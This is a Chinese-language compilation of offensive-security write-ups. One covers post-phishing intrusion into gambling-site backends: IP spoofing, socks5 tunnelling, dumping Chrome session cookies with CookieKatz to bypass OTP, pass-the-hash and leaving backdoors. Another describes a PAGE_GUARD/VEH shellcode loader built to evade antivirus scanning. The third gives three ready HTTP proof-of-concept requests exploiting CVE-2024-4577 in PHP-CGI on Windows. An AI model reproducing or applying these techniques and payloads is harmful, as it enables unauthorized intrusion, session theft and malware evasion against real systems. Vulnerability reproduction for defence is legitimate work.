如何渗透性感荷官

BC渗透之后渗透-客服机(一)

当我们通过钓鱼或者其他方式打到客服机,我们后续就需要通过客服电脑来登录 bc 后台,进行数据爬取,但是大部分的 bc 后台都是限制固定 IP 访问或者直接干脆禁止公网访问,可以利用添加 heard 头利用 X-Forwarded-For 伪造客户端 IP 来访问后台,或者直接打 socks5 隧道来登录

这个时候已经可以正常访问bc后台了,但是后面还需要解决登录凭证的问题,大部分情况下bc后台密码都可以在客服电脑上获取

但是只有密码还不够,因为还需要谷歌OTP验证才行,所以这时我们不妨换个思路来获取登录凭证

CookieKatz (https://github.com/Meckazin/ChromeKatz)是一个允许操作员直接从进程内存转储 Chrome、Edge 或 Msedgewebview2 中的 cookie 的项目,能够直接从进程内存中提取Cookie,Chromium内核的浏览器在启动时会将所有Cookie从磁盘加载到内存中,CookieKatz正是利用这一特性,通过解析内存中的数据结构来获取Cookie信息,这使得我们可以直接在cs中加载CookieKatz来获取登录cookie,不需要通过vnc或者其他方式来获取chrome的登录凭证。

这时我们已经成功获取到了bc后台的登录cookie,用chrome插件小饼干或者其他插件,替换固定cookie就可以登录后台了

这时就可以进行后台数据爬取,整理简报了

但是为了更持久的维持权限,我们还需要进一步的对内网进行探测,来扩大战果或者遗留后门

bc园区的电脑一般都是工作组,不能用打国内域渗透的思路来搞

例如Windows 2003 之后的机器,只能是administrator(sid为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问,而在域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值就可以进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

下期可以详细讲一下工作组下的园区内网横向思路。

PG执行shellcode,上线绿球核晶

前言

在开始讲解本文章技术之前,我们需要先了解什么是内存属性以及VEH。

内存属性(Memory Protection Attributes)用于控制进程对内存页的访问权限,防止非法访问和保护数据安全。就像是给每块内存加上不同的“门禁”,它的作用是防止程序随意读取、修改或执行不该访问的内存,从而提高安全性,避免程序崩溃或被恶意攻击。

VEH全称(Vectored Exception Handling),中文名向量异常处理,简单来说就是程序执行的时候报错了如果设置了异常处理那就会走到里面。

本文将演示如何去通过修改内存属性来加载shellcode,让杀软无法读取shellcode执行的那片内存空间,但我们能通过VEH来接管这篇内存空间让我们的shellcode执行。

内存属性

基本属性

属性描述
PAGE_NOACCESS不能读取、写入或执行该页内容,访问会导致访问冲突(Access Violation)。
PAGE_READONLY只能读取该页内容,尝试写入会导致访问冲突。
PAGE_READWRITE可以读取和写入该页内容。
PAGE_WRITECOPY允许读,写入时会触发 写时复制(Copy-on-Write) 机制,分配新页。
PAGE_EXECUTE只能执行该页内容,不能读取或写入。
PAGE_EXECUTE_READ可以执行和读取该页内容,但不能写入。
PAGE_EXECUTE_READWRITE可以执行、读取和写入该页内容。
PAGE_EXECUTE_WRITECOPY允许执行和读取,写入时触发写时复制机制。

特殊属性(可与基本属性组合)

属性描述
PAGE_GUARD使页面成为“保护页”,首次访问时会触发异常,之后 PAGE_GUARD 标志被移除。
PAGE_NOCACHE禁用 CPU 缓存,直接访问物理内存,通常用于硬件交互。
PAGE_WRITECOMBINE允许写入合并,提高写入性能,常用于 GPU 显存映射。

我们主要关注的是PAGE_GUARD属性。PAGE_GUARD是内存属性里面的一种,他的作用是,当你访问一个没有被分配的内存时候,会触发一个异常,这个异常可以被我们捕获,然后我们可以在异常处理函数中,对这个内存进行分配,然后返回到原来的地方继续执行。

原理

在读取shellcode的时候,我们将shellcode的那片内存空间设置为不可访问,当访问这块内存的时候就会报错,因为设置了VEH就会走到VEH里面,VEH将这块内存的属性取消不可访问,然后shellcode在继续去执行就不会报错了,执行完之后继续修改内存属性为不可访问,循环往复。

代码实现

我们需要先定义一个全局变量,这个全局变量会在异常处理函数中使用,用于知道是哪些需要保护的区域触发了异常

VOID* bufferAddress;
DWORD bufferSize;

然后开始构建我们需要使用到的函数

PageGuardMemory(): 这个函数将一个地址空间页面标记为guarded,以便当程序尝试读写该页面时触发硬件异常。它首先使用VirtualQuery()函数查询给定地址所在的页面信息、设置PAGE_GUARD标志并调用VirtualProtect()函数将该页面标记为guarded。

UnPageGuardMemory(): 这个函数将一个页面标记为非guarded,调用和‘PageGuardMemory()`类似,但是它将PAGE_GUARD标志从保护权限中移除。

VectoredExceptionHandler(): 此功能作为VEH的入口点,其目的是监听发生在用户代码内的异常。如果错误代码为EXCEPTION_GUARD_PAGE,则此函数将将执行点标记为单步操作标志;如果错误代码为EXCEPTION_SINGLE_STEP,则在发生单步异常后回到用户程序中,而VEH会检查当前异常是否与某些已被标记为guarded的页面有关。如果是,它将解除页面保护,使得进程继续执行。

注册异常处理。通过AddVectoredExceptionHandler函数设置异常走向我们的VEH函数。

我们可以看一下这个函数的定义。这个函数的作用就是添加VEH,简单说就是指定报错后处理的函数。

First 这个参数是确定调用优先级的,将我们的函数优先级设为1,优先调用我们的VEH函数。

Handler 异常处理的函数指针, 这里将其指向我们的VEH函数

然后修改shellcode加载函数,在加载shellcode之前将其地址设置成受保护状态。

这样我们就实现了通过动态修改内存属性对 Shellcode 所在内存区域进行保护,并借助VEH机制捕获访问异常,在触发异常时临时解除内存限制以执行代码,执行后立即恢复内存保护状态。该方案通过隐式内存权限切换和异常接管流程,有效规避了杀毒软件对敏感内存区域的直接扫描与检测。

CVE-2024-4577 漏洞复现

CVE-2024-4577 是一个影响 PHP 的严重漏洞,尤其是在 Windows 平台上以 CGI 模式运行的 PHP 安装中。该漏洞允许攻击者通过发送精心设计的 HTTP 请求执行远程代码。本文将详细介绍 CVE-2024-4577 的背景、环境设置、攻击代码以及复现步骤,帮助读者理解其利用方式并提供缓解建议。

漏洞背景

CVE-2024-4577 是一个 CGI 参数注入漏洞,影响所有在 Windows 操作系统上以 CGI 模式运行的 PHP 版本.该漏洞由DEVCORE的研究员 Orange Tsai 发现,并于 2024 年 6 月披露。其 CVSS v3 评分为 9.8(严重),表明其具有高度危险性。

漏洞的根源在于 PHP 在处理某些字符时存在问题,尤其是在中文(简体和繁体)或日文语言环境下。攻击者可以通过发送带有恶意参数的 HTTP 请求,利用这一缺陷在服务器上执行任意代码,可能导致系统被完全控制、数据泄露或服务中断。

受影响的 PHP 版本包括:
PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
PHP Windows版 影响版本 == 8.0.x
PHP Windows版 影响版本 == 7.x
PHP Windows版 影响版本 == 5.x
XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
XAMPP Windows版 影响版本 == 8.0.x
XAMPP Windows版 影响版本 == 7.x
XAMPP Windows版 影响版本 == 5.x

环境设置

为了复现 CVE-2024-4577,我们需要搭建一个易受攻击的测试环境。XAMPP 在 Windows 上的默认安装配置了 PHP 的 CGI 模式,是一个理想的选择。以下是具体步骤:

1. 安装 XAMPP

从 XAMPP 官方网站 下载适用于 Windows 的版本。
安装时选择默认设置,确保 PHP 版本在 8.3.8、8.2.20 或 8.1.29 之前(这些版本已修复漏洞)。
安装完成后,启动 Apache 服务器。

2. 确认 PHP 配置

打开 XAMPP 控制面板,确认 Apache 服务已运行。
在浏览器中访问 http://localhost,验证 XAMPP 安装成功。
检查 PHP 是否以 CGI 模式运行:
打开 XAMPP 安装目录下的 apache\conf\extra\httpd-xampp.conf 文件。
查找类似以下的配置行:
ScriptAlias /php-cgi/ "C:/xampp/php/"
这表明 PHP 以 CGI 模式运行,是漏洞利用的前提。

3. 设置语言环境

该漏洞在中文或日文语言环境下更容易触发。可以模拟这些环境:
修改 Windows 系统语言为中文(简体或繁体)或日文。
或者编辑 php.ini,设置 default_charset = "gb2312"(简体中文)或 default_charset = "Shift_JIS"(日文)。
攻击代码为了利用 CVE-2024-4577,我们需要构造一个带有恶意参数的 HTTP 请求。

以下是一个简单的 PoC(概念验证)示例:

GET /test.php?-d+allow_url_include=On+-d+auto_prepend_file=php://input HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

<?php phpinfo(); ?>

POC2

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3d0+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20


<?php phpinfo();?>

POC3

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.217.139
Connection: close
Content-Length: 20
REDIRECT-STATUS: 1

<?php phpinfo();?>

请求解释

  • ?-d+allow_url_include=On:启用 allow_url_include 配置,允许从 URL 包含文件。
  • -d+auto_prepend_file=php://input:将 auto_prepend_file 设置为 php://input,使 PHP 在执行脚本前运行请求体中的代码。
  • 请求体

复现步骤

  1. 发送攻击请求
    使用工具(如 Burp 或 Yakit)发送上述 HTTP 请求到目标服务器。
  1. 观察结果
    如果漏洞被成功利用,服务器将执行请求体中的代码。